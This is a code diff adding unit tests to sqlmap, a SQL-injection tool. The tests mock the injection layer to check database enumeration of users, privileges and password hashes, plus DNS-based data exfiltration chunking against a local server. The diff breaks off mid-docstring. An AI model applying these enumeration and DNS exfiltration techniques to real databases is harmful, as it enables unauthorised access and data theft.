a/tests/test_dbms_enum_a.py b/tests/test_dbms_enum_a.py new file mode 100644 index 00000000000..4c9948fd171 --- /dev/null +++ b/tests/test_dbms_enum_a.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides for Oracle, PostgreSQL, MySQL and SQLite +(plugins/dbms//enumeration.py), driven through each full DBMS handler with +the injection layer mocked, so the dialect-specific discovery paths run without a +live target. The in-band (UNION/error/direct) branch is taken via conf.direct=True +and inject.getValue is stubbed with canned result rows. + +Companion to tests/test_dbms_enum.py (which covers Microsoft SQL Server). +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException + + +class _EnumBase(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBase): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBase): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBase): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBase): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dbms_enum_b.py b/tests/test_dbms_enum_b.py new file mode 100644 index 00000000000..b0622366d71 --- /dev/null +++ b/tests/test_dbms_enum_b.py @@ -0,0 +1,469 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Second batch of DBMS-specific enumeration override tests (companion to +tests/test_dbms_enum.py, which covers Microsoft SQL Server getTables). + +Each test drives a FULL per-DBMS handler (the *Map class in +plugins/dbms//__init__.py) with the injection layer mocked, so the +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True; conf.batch=True avoids interactive prompts. + +Covered here: + * Sybase - getUsers, getDbs, getTables, getColumns, getPrivileges, + searchDb/searchTable/searchColumn, getHostname, getStatements + * SAP MaxDB - getDbs, getTables, getColumns, getPrivileges, + getPasswordHashes, getHostname, getStatements + * Microsoft SQL Server - getPrivileges, searchTable, searchColumn + (getTables already covered by test_dbms_enum.py) + * IBM DB2 - getPasswordHashes, getStatements + * Informix - searchDb, searchTable, searchColumn, getStatements + * Firebird - getDbs, getPasswordHashes, searchDb, getHostname, getStatements + * HSQLDB - getBanner, getPrivileges, getHostname, getStatements, + getCurrentDb + +Sybase/MaxDB enumeration goes through lib.utils.pivotdumptable.pivotDumpTable +(imported into the module namespace), so for those we mock that wrapper - it is +part of the same data-retrieval layer - and mock inject.getValue elsewhere. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend +from lib.core.enums import EXPECTED +from lib.request import inject + + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBase(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBase): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBase): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by test_dbms_enum.py) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBase): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBase): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBase): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBase): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBase): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_deps.py b/tests/test_deps.py new file mode 100644 index 00000000000..0f09e5cdd27 --- /dev/null +++ b/tests/test_deps.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Optional-dependency probe (lib/utils/deps.py, the --dependencies feature). +checkDependencies() attempts to import every supported DBMS driver and warns +on the ones missing; it must never raise regardless of what's installed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.deps as deps +from lib.utils.deps import checkDependencies + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as deps.logger.""" + + def __init__(self): + self.records = [] + + def warning(self, msg, *args): + self.records.append(("warning", msg % args if args else msg)) + + def info(self, msg, *args): + self.records.append(("info", msg % args if args else msg)) + + def debug(self, msg, *args): + self.records.append(("debug", msg % args if args else msg)) + + def error(self, msg, *args): + self.records.append(("error", msg % args if args else msg)) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestCheckDependencies(unittest.TestCase): + def setUp(self): + self._real_logger = deps.logger + self.rec = _RecordingLogger() + deps.logger = self.rec + + def tearDown(self): + deps.logger = self._real_logger + + def test_missing_driver_warns_with_library_name(self): + # 'kinterbasdb' (Firebird driver) is essentially never installed, so the + # probe must hit the except branch and emit a warning naming the library. + try: + import kinterbasdb # noqa: F401 + self.skipTest("kinterbasdb is unexpectedly installed") + except ImportError: + pass + + checkDependencies() + + warnings = self.rec.messages("warning") + self.assertTrue(warnings, msg="no warnings captured for a missing driver") + # the Firebird entry must name its third-party library in a warning + self.assertTrue( + any("kinterbasdb" in w for w in warnings), + msg="missing Firebird driver did not produce a library-naming warning: %r" % warnings, + ) + + def test_all_present_emits_all_installed_info(self): + # force every __import__ to succeed so no library is ever recorded as + # missing; the empty-missing-set branch must emit the summary info line. + import builtins + + class _FakeModule(object): + __version__ = "999.0.0" + + real_import = builtins.__import__ + + def _always_succeed(name, *args, **kwargs): + try: + return real_import(name, *args, **kwargs) + except Exception: + return _FakeModule() + + builtins.__import__ = _always_succeed + try: + checkDependencies() + finally: + builtins.__import__ = real_import + + infos = self.rec.messages("info") + self.assertTrue( + any("all dependencies are installed" in m for m in infos), + msg="all-present path did not emit the summary info: %r" % infos, + ) + # and with nothing missing there must be no missing-library warnings + self.assertFalse( + any("third-party library" in w and "requires" in w for w in self.rec.messages("warning")), + msg="unexpected missing-library warning when all imports succeed", + ) + + def test_returns_none(self): + # contract: the probe is purely advisory and never returns a value + self.assertIsNone(checkDependencies()) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 81de07ece32..5dc28ac98d1 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -72,13 +72,16 @@ def test_measured_engines_map_as_expected(self): self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) def test_no_false_positive_across_measured_set(self): + # non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None), + # never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive) + # engines, so assert it both ways. for engine, (base, expected) in MEASURED.items(): for shift in (False, True): result = _classify(base + (shift,)) - if expected is None: - self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) - else: - self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.MONETDB, DBMS.ORACLE)) + self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected)) + # the only non-None DBMS priors the measured set can yield (sanity on the mapping itself) + produced = set(expected for _, expected in MEASURED.values() if expected is not None) + self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE}) def test_all_error_signature_yields_no_prior(self): # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index 5eaf2c0a7cf..767a5019c8f 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -29,6 +29,7 @@ import binascii import os +import re import socket import struct import sys @@ -251,16 +252,114 @@ class TestDnsExfilEngineMssql(TestDnsExfilEngine): DBMS_NAME = "Microsoft SQL Server" -class TestDnsLabelInvariant(unittest.TestCase): - """The exfil chunk is hex-encoded into ONE DNS label, so 2*chunk_length must never exceed the - 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label and exfil - silently breaks. Guards the chunk_length arithmetic in dnsUse for every supported DBMS.""" - def test_hex_label_within_max_dns_label(self): - for dbms in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL): - chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 - self.assertGreater(chunk_length, 0, "%s: non-positive chunk_length" % dbms) - self.assertLessEqual(2 * chunk_length, MAX_DNS_LABEL, - "%s: hex label (%d) exceeds MAX_DNS_LABEL (%d)" % (dbms, 2 * chunk_length, MAX_DNS_LABEL)) +class TestDnsLabelInvariant(_DnsCase): + """The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never + exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label + and exfil silently breaks. + + Unlike a static formula check, this drives the REAL dnsUse() chunking through the REAL DNSServer + and asserts the invariant on the ACTUAL labels that reach the wire. The mock oracle does NOT + re-derive the chunk size: it slices each chunk to exactly the length dnsUse itself rendered into + its SUBSTRING call (captured live from agent.hexConvertField, whose input is the source's + substring expression). So if the chunk_length arithmetic in dnsUse regresses, the emitted hex + label grows past 63 octets and this test goes red - it observes the source's output, it does not + recompute it. + """ + + def _drive_and_collect_labels(self, secret): + """ + Runs dnsUse for L{secret} end-to-end against the real DNS server, slicing each chunk to the + length the SOURCE asked for (parsed from the live SUBSTRING expression dnsUse builds), and + returns (every label seen in every emitted query name, list of source chunk_lengths seen). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + source_chunk_lengths = [] + # Snapshot the names the REAL DNSServer parsed off the wire, captured the moment they land + # in _requests - dnsUse's own .pop() consumes them, so we must grab them before that. + captured_names = [] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + # agent.hexConvertField receives the rendered SUBSTRING call, e.g. "MID((...),1,31)" / + # "SUBSTRING((...) FROM 1 FOR 13)"; the substring LENGTH argument (the source's real + # chunk_length) is the last integer literal in it. Capture it per iteration so the oracle + # emits a chunk of exactly that size - the source's arithmetic, not a copy of it. + saved_hexConvertField = agent.hexConvertField + def spy_hexConvertField(field): + source_chunk_lengths.append(int(re.findall(r"\d+", field)[-1])) + return saved_hexConvertField(field) + agent.hexConvertField = spy_hexConvertField + + def oracle(payload=None, *args, **kwargs): + prefix, suffix = boundaries[-2], boundaries[-1] + chunk_length = source_chunk_lengths[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(100): + with self.server._lock: + matched = [r for r in self.server._requests if host.encode() in r] + if matched: + captured_names.extend(r.decode() if isinstance(r, bytes) else r for r in matched) + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + try: + result = dnsmod.dnsUse("%s AND %d=%d", "user()") + finally: + agent.hexConvertField = saved_hexConvertField + + # round-trip must still work (the source must actually reassemble what it chunked) + self.assertEqual(result, secret) + + labels = [] + for name in captured_names: + labels.extend(label for label in name.split(".") if label) + return labels, source_chunk_lengths + + def test_emitted_dns_labels_within_max_dns_label(self): + # long enough that every supported dialect's chunk_length forces several chunks (>1 label of + # hex payload), so the chunking loop - not just a single-shot path - is what we measure + secret = ("The quick brown fox jumps over the lazy dog " + "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz") * 3 + for dbms_name in ("MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server"): + self.DBMS_NAME = dbms_name + set_dbms(dbms_name) + labels, source_chunk_lengths = self._drive_and_collect_labels(secret) + + # the source must have actually chunked (multiple SUBSTRING iterations), otherwise we + # would not be testing the chunking output at all + self.assertGreater(len(source_chunk_lengths), 1, + "%s: payload did not force multiple chunks (got %d)" % (dbms_name, len(source_chunk_lengths))) + self.assertTrue(all(cl > 0 for cl in source_chunk_lengths), + "%s: non-positive chunk_length from source: %r" % (dbms_name, source_chunk_lengths)) + + self.assertTrue(labels, "%s: no DNS query labels were captured" % dbms_name) + for label in labels: + self.assertLessEqual(len(label), MAX_DNS_LABEL, + "%s: emitted DNS label %r is %d octets, exceeds MAX_DNS_LABEL (%d)" + % (dbms_name, label, len(label), MAX_DNS_LABEL)) class TestDnsChannelDetection(_DnsCase): diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 9e566e3d7fc..613518b7aa2 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -36,18 +36,69 @@ def build_query(name, tid=b"\x12\x34", qtype=1): class _HighPortDNSServer(DNSServer): - """Real DNSServer logic, bound on a high port (no root, no :53 probe)""" - def __init__(self, port, sock=None, maxlen=MAX_DNS_REQUESTS): + """Real DNSServer logic, bound on an ephemeral high port (no root, no :53 probe). + + Binds to port 0 and reads the kernel-chosen port back via getsockname() (same pattern + as tests/test_dns_engine.py) so concurrent/repeated runs never collide on a hardcoded + port. The actual port is exposed as 